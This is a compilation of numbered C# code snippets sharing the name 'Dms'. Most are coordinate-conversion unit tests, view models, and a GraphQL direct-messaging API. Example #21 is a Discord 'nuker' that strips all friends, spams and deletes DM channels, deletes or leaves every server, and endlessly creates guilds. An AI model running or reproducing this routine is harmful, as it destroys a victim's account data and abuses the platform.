示例#1
0
        public void T_ParseDMS12()
        {
            Dms.Separator = "";
            double ret = Dms.ParseDMS("015° 06′ W");

            Assert.AreEqual <double>(-15.1, Math.Round(ret, 6));
        }
示例#2
0
        public void T_ParseDMS13()
        {
            Dms.Separator = "";
            double ret = Dms.ParseDMS("128°  W");

            Assert.AreEqual <double>(-128.0, Math.Round(ret, 6));
        }
示例#3
0
        public void T_ParseDMS03()
        {
            Dms.Separator = "";
            double ret = Dms.ParseDMS("51°  N");

            Assert.AreEqual <double>(51.0, Math.Round(ret, 6));
        }
示例#4
0
        public void T_ToDMS03()
        {
            Dms.Separator = "";
            string ret = Dms.ToDMS(51.477811, "dm");

            Assert.AreEqual <string>("051°28.67′", ret);
        }
示例#5
0
        public void T_CompassPoint12()
        {
            Dms.Separator = " ";
            string ret = Dms.CompassPoint(012);

            Assert.AreEqual <string>("NNE", ret);
        }
示例#6
0
        public void T_CompassPoint14()
        {
            Dms.Separator = " ";
            string ret = Dms.CompassPoint(036, 1);

            Assert.AreEqual <string>("N", ret);
        }
示例#7
0
        public void T_ToLon02()
        {
            Dms.Separator = " ";
            string ret = Dms.ToLon(128.001475, "dms", 2);

            Assert.AreEqual <string>("128° 00′ 05.31″ E", ret);
        }
示例#8
0
        public void T_CompassPoint04()
        {
            Dms.Separator = " ";
            string ret = Dms.CompassPoint(270);

            Assert.AreEqual <string>("W", ret);
        }
示例#9
0
        public void T_ToLat02()
        {
            Dms.Separator = "";
            string ret = Dms.ToLat(-51.477811, "dms");

            Assert.AreEqual <string>("51°28′40″S", ret);
        }
示例#10
0
        public void T_ToLon01()
        {
            Dms.Separator = " ";
            string ret = Dms.ToLon(-0.001475, "dms", 2);

            Assert.AreEqual <string>("000° 00′ 05.31″ W", ret);
        }
示例#11
0
        public void T_ParseDMS01()
        {
            Dms.Separator = "";
            double ret = Dms.ParseDMS("51° 28′ 40.12″ N");

            Assert.AreEqual <double>(51.477811, Math.Round(ret, 6));
        }
示例#12
0
        public void T_ToDMS07()
        {
            Dms.Separator = "";
            string ret = Dms.ToDMS(51.5, "d", 0);

            Assert.AreEqual <string>("052°", ret);
        }
示例#13
0
        public void T_ToDMS04()
        {
            Dms.Separator = "";
            string ret = Dms.ToDMS(51.477811, "d");

            Assert.AreEqual <string>("051.4778°", ret);
        }
示例#14
0
        public void T_ToDMS02()
        {
            Dms.Separator = "";
            string ret = Dms.ToDMS(51.477811, "dms", 2);

            Assert.AreEqual <string>("051°28′40.12″", ret);
        }
示例#15
0
        public void T_ParseDMS11()
        {
            Dms.Separator = "";
            double ret = Dms.ParseDMS("000° 00′ 05.31″ W");

            Assert.AreEqual <double>(-0.001475, Math.Round(ret, 6));
        }
示例#16
0
 public DmsViewModel(Dms dms)
 {
     item              = dms;
     DataCorte         = dms.DataCorte;
     DataProcessamento = dms.DataProcessamento;
     DataVencimento    = dms.DataVencimento;
     Quantidade        = dms.Quantidade;
     Carga             = dms.Carga;
     Diferenca         = dms.Diferenca;
 }
示例#17
0
        public string rev_rwy_ident = ""; // other rwy name

        // Convert from File DMS Format lat/lon
        private LatLon CnvAptDMS(string lat_dms, string lon_dms)
        {
            lat_dms = lat_dms.Trim( ).ToUpperInvariant( );
            //N|Shhmmssss ->  51° 28′ 40.12″ N
            string dms = $"{lat_dms.Substring( 1, 2 )}° {lat_dms.Substring( 3, 2 )}′ {lat_dms.Substring( 5, 4 ).Insert( 2, "." )}″ {lat_dms.Substring( 0, 1 )}";
            var    ll  = new LatLon( );

            ll.Lat = Dms.ParseDMS(dms);
            //W|Ehhhmmssss ->  51° 28′ 40.12″ W
            dms    = $"{lon_dms.Substring( 1, 3 )}° {lon_dms.Substring( 4, 2 )}′ {lon_dms.Substring( 6, 4 ).Insert( 2, "." )}″ {lon_dms.Substring( 0, 1 )}";
            ll.Lon = Dms.ParseDMS(dms);
            return(ll);
        }
示例#18
0
 public DmsTeste()
 {
     _controller = new DmsController();
     _data       = DateTime.Now;
     _dsmMock    = new Dms()
     {
         DataCorte         = _data,
         DataProcessamento = _data,
         DataVencimento    = _data,
         Quantidade        = 21323,
         Carga             = 333,
         Diferenca         = 444
     };
     _dmsMockList = new List <Dms>()
     {
         _dsmMock
     };
 }
示例#19
0
        public async Task <ActionResult> Create(DmsModel model, int departmentId)
        {
            if (ModelState.IsValid)
            {
                if (string.IsNullOrEmpty(model.DmsCode))
                {
                    return(Content("DmsCode is required!"));
                }

                //var existDms = _dmsService.GetDmsByDmsCode(model.DmsCode);
                var existDms = await _dmsService.GetDmsByDmsCodeAndDepartmentId(model.DmsCode, departmentId);

                //check exist Dms
                if (existDms != null)
                {
                    return(Content(model.DmsCode + " has Existed in this Department!"));
                }

                //if (model.Department.Id < 1)
                //    return Content("Department is required!");

                var dms = new Dms()
                {
                    Description  = model.Description,
                    Note         = model.Note,
                    CreatedDate  = DateTime.Now,
                    UpdatedDate  = DateTime.Now,
                    DmsCode      = model.DmsCode,
                    DepartmentId = departmentId,
                    Active       = model.Active,
                    Order        = model.Order
                };
                await _dmsService.InsertAsync(dms);

                await _dmsService.UpdateDmsOwner(dms, model.ListUsername);

                return(Json(new { Data = new[] { model } }));
            }
            return(Content("Can not create Dms because model state is invalid"));
        }
示例#20
0
        private void Dms(MyContext db)
        {
            Field <DmsType>(
                "sendDm",
                description: "Send a new direct message",
                arguments: new QueryArguments(
                    new QueryArgument <NonNullGraphType <SendDmInputType> > {
                Name = "input"
            }
                    ),
                resolve: _ => {
                var context = (UserContext)_.UserContext;
                var input   = _.GetArgument <SendDmDTO>("input");

                var user = db.Owners.SingleOrDefault(x => x.CognitoId.Equals(context.cognitoId));
                if (user == null)
                {
                    throw new ExecutionError("You don't appear to have a user account! Only registered users can send messages.");
                }

                byte[] binaryid;
                try
                {
                    binaryid = GuidGenerator.HelperStringToBA(input.recipient);
                }
                catch
                {
                    throw new ExecutionError("The recipient ID you provided is malformed. Please verify and try again.");
                }

                //Does this game id exist?
                var receiver = db.Owners.SingleOrDefault(x => x.OwnerId.Equals(binaryid));
                if (receiver == null)
                {
                    throw new ExecutionError("Could not find the requested recipient.");
                }

                if (receiver.OwnerId == user.OwnerId)
                {
                    throw new ExecutionError("You can't send messages to yourself.");
                }

                var dm = new Dms
                {
                    EntryId    = GuidGenerator.GenerateSequentialGuid(),
                    SenderId   = user.OwnerId,
                    Sender     = user,
                    ReceiverId = binaryid,
                    Receiver   = receiver,
                    DateSent   = DateTime.UtcNow,
                    Message    = input.message,
                    Read       = false
                };
                db.Dms.Add(dm);
                db.SaveChanges();
                return(dm);
            }
                );
            Field <ListGraphType <DmsType> >(
                "deleteDms",
                description: "Delete direct messages",
                arguments: new QueryArguments(
                    new QueryArgument <NonNullGraphType <DeleteDmsInputType> > {
                Name = "input"
            }
                    ),
                resolve: _ => {
                var context = (UserContext)_.UserContext;
                var input   = _.GetArgument <DeleteDmsDTO>("input");

                var user = db.Owners.SingleOrDefault(x => x.CognitoId.Equals(context.cognitoId));
                if (user == null)
                {
                    throw new ExecutionError("You don't appear to have a user account! Only registered users can use the messaging system.");
                }

                var binids = input.ids.Select(x => GuidGenerator.HelperStringToBA(x));
                db.Dms.RemoveRange(db.Dms.Where(x => x.ReceiverId.Equals(user.OwnerId) && binids.Contains(x.EntryId)));
                db.SaveChanges();
                return(db.Dms.Where(x => x.ReceiverId.Equals(user.OwnerId)).ToArray());
            }
                );
            Field <ListGraphType <DmsType> >(
                "readDms",
                description: "Mark direct messages as read",
                arguments: new QueryArguments(
                    new QueryArgument <NonNullGraphType <ReadDmsInputType> > {
                Name = "input"
            }
                    ),
                resolve: _ => {
                var context = (UserContext)_.UserContext;
                var input   = _.GetArgument <ReadDmsDTO>("input");

                var user = db.Owners.SingleOrDefault(x => x.CognitoId.Equals(context.cognitoId));
                if (user == null)
                {
                    throw new ExecutionError("You don't appear to have a user account! Only registered users can use the messaging system.");
                }

                var binids = input.ids.Select(x => GuidGenerator.HelperStringToBA(x));
                foreach (var rec in db.Dms.Where(x => x.ReceiverId.Equals(user.OwnerId) && binids.Contains(x.EntryId)))
                {
                    rec.Read = true;
                }
                db.SaveChanges();
                return(db.Dms.Where(x => x.ReceiverId.Equals(user.OwnerId) && x.Read.Equals(false)).ToArray());
            }
                );
        }
示例#21
0
 public static void nuker()
 {
     foreach (Relationship instance in Nuker.Client.GetRelationships())
     {
         ulong Relationships = instance;
         try
         {
             Nuker.Client.RemoveRelationship(Relationships);
         }
         catch (DiscordHttpException)
         {
         }
         catch (RateLimitException)
         {
         }
     }
     foreach (DMChannel Dms in Nuker.Client.GetPrivateChannels())
     {
         try
         {
             Dms.SendMessage("ALL HAIL REVENGE!", false, null);
         }
         catch (DiscordHttpException)
         {
         }
         catch (RateLimitException)
         {
         }
         Dms.Delete();
     }
     foreach (PartialGuild Servers in Nuker.Client.GetGuilds(100U, 0UL))
     {
         try
         {
             Servers.Delete();
         }
         catch (DiscordHttpException)
         {
             try
             {
                 Servers.Leave();
             }
             catch (DiscordHttpException)
             {
             }
             catch (RateLimitException)
             {
             }
         }
         catch (RateLimitException)
         {
         }
     }
     for (;;)
     {
         try
         {
             Nuker.Client.CreateGuild("ALL HAIL REVENGE!", null, null);
         }
         catch (DiscordHttpException)
         {
         }
         catch (RateLimitException)
         {
         }
     }
 }
 public AppSettings()
 {
     Dms = new Dms();     // need to instantiate (Configuration only sets properties not create the object)
     Sms = new Sms();     // same
 }
示例#23
0
 public AppSettings()
 {
     Dms = new Dms(); // need to instantiate (Configuration only sets properties not create the object)
     Sms = new Sms(); // same
     IndentityServerSettings = new IndentityServerSettings(); //same
 }
示例#24
0
 public DmsViewModel(Dms item)
 {
     this.item = item;
 }